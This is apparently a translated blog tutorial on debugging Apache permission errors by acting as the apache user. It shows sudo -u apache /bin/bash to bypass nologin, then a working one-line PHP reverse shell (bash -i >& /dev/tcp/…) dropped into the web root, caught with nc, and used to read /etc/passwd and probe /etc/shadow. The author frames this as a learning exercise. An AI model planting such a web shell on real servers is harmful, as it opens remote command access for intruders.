以Apache的心态来尝试的两种方法-通过Apache用户登录的两种方式

什么样的文章

创建文件上传程序时经常出现的权限错误。

当我成为SE的初始阶段,我不知道这意味着什么。
如果我成为Apache,我就能够理解无法写入的状态发生了什么。
因为我有这样的想法,所以我写了这篇文章。

这篇文章提到了一些不好的用法。请在自己的环境中使用,并且不要滥用。

<1> 成为 Apache 用户的方法- Linux 版

当在Linux上普通安装Apache时,将创建一个名为Apache的用户。
然而,从安全角度来看,禁止使用Apache用户进行登录(可以解除禁止)。

[root@my.example.com:/var/www/html#] su apache
This account is currently not available.

我通常会使用Linux的nologin选项禁止登录的原因是。

#] cat /etc/passwd | grep apache
apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin

または /etc/nologin がある。

如果在那附近進行調整,也可能強制登錄。以下是在使用/etc/passwd中的nologin作為登錄shell時的避免方法。

root@example.com:/# sudo -u apache /bin/bash
apache@example.com:/$   <----ユーザが変わった

如果搜索关键词”Linux nologin”,你就能找到在这个区域的相关信息。

顺便提一下,这个apache用户的环境变量中混杂了sudo之前用户的环境变量。

apache@my.example.com:/tmp$ env | sort
...
MAIL=/var/spool/mail/root
SUDO_USER=root
USER=apache
USERNAME=apache
...

我知道即使变成apache用户,root的环境变量仍然存在。

sudo命令可以通过env_keep设置来部分地继承变身之前用户的环境变量。

参考此链接 https://qiita.com/chroju/items/375582799acd3c5137c7

<2> 在PHP中成为Apache用户的方法,以模拟成Apache环境。

刚才我以Linux的身份登录为Apache用户,现在我想尝试通过PHP文件成为Apache用户。

开始讲一个故事,只需要本地用户和可以使用PHP文件,您还可以做以下事情。

请不要进行滥用
请绝对不要在公开服务器上进行尝试
请在完成后删除已创建的文件

所有作业都在 Web 服务器上进行。
我将把一个名为 php-reverse-shell 的工具放置在 Web 服务器的公开目录中。

[root@my.example.com:/var/www/html#] wget https://gist.githubusercontent.com/rshipp/eee36684db07d234c1cc/raw/9907b98ec63c6ad9bf5f39d14d07d9a3765f9079/shell.php

[root@my.example.com:/var/www/html#] ls shell.php
shell.php

php文件的内容只有一行→ https://gist.github.com/rshipp/eee36684db07d234c1cc

将IP地址(10.0.0.10)更改为您的web服务器的IP地址。

vim shell.php

<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.10/1234 0>&1'");

我会准备好接收Shell,并执行以下命令,虽然会暂停一段时间,但这样能确保成功。

[root@my.example.com:/var/www/html#] nc -lvp 1234
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234

我将尝试从浏览器访问shell.php。

这句话的意思是,通过以php文件运行的Apache用户权限来执行php文件。

如果有其他的shell,用curl/wget也可以。

# ncを叩いたのとは違うshell
[root@my.example.com:/var/www/html#] curl localhost/shell.php

当您访问时,将启动bash。


Ncat: Connection from 10.1.2.3.
Ncat: Connection from 10.1.2.3:40678.
bash: no job control in this shell
bash-4.2$

瞧!有动静了!nc -lvp 1234P所监听的shell出现了变化。我们来确认一下发生了什么事情。

我成为了一个Apache。

bash-4.2$ whoami
whoami
apache

我们的团队也是Apache的一员。

bash-4.2$ id
id
uid=48(apache) gid=48(apache) groups=48(apache)

我在哪里?我仍然在网络服务器内部。

bash-4.2$ hostname
hostname
my.example.com

我知道服务器的IP地址。

bash-4.2$ ip a
ip a
1: lo: <LOOPBACK,UP,LOWER_UP>
    inet 127.0.0.1/8 scope host lo
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP>
    inet 10.1.2.3/21 brd 10.1.0.0 scope global dynamic eth0

当前目录在这里。这是否是apache的Document_Root?

bash-4.2$ pwd
pwd
/var/www/html

我可以查看文件。

bash-4.2$ ls -l
ls -l
total 1128
-rw-r--r-- 1 apache apache       2 Mar 29  2019 index.html
-rw-r--r-- 1 root   root        75 Jul 13 10:42 shell.php

只有所有者具有Apache或具有写入权限的文件才能被修改。

bash-4.2$ echo ZZZZZZZZZZZZZZ > index.html

bash-4.2$ cat index.html
ZZZZZZZZZZZZZZ

我也可以查看/etc/passwd。

bash-4.2$ cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
nobody:x:99:99:Nobody:/:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
dbus:x:81:81:Syste
~

我无法查看/etc/shadow(保存着Linux用户密码)

bash-4.2$ cat /etc/shadow
cat /etc/shadow
cat: /etc/shadow: Permission denied

当然,我没有权限修改/etc/shadow文件。

bash-4.2$ echo 1 > /etc/shadow
echo 1 > /etc/shadow
bash: /etc/shadow: Permission denied

sudo不可行。

bash-4.2$ sudo yum install sl
sudo yum install sl

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

sudo: no tty present and no askpass program specified

在这里可以使用sudo命令或者成为root的行为被称为漏洞。

让我们看一下环境。

bash-4.2$ env
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin
_=/usr/bin/env
PWD=/var/www/html
LANG=C
NOTIFY_SOCKET=/run/systemd/notify
SHLVL=3
_=/usr/bin/env

非常简单。

完成调试之后,务必删除 shell.php。

总结

我认为Apache用户可以执行命令并查看私有文件。

只需要一行PHP代码,我就能登录而不需要使用sudo,也不需要改写/etc/passwd和/etc/sudoers文件。

我们要始终意识到合适的安全措施,哎呀,重点变了。

结束了。

bannerAds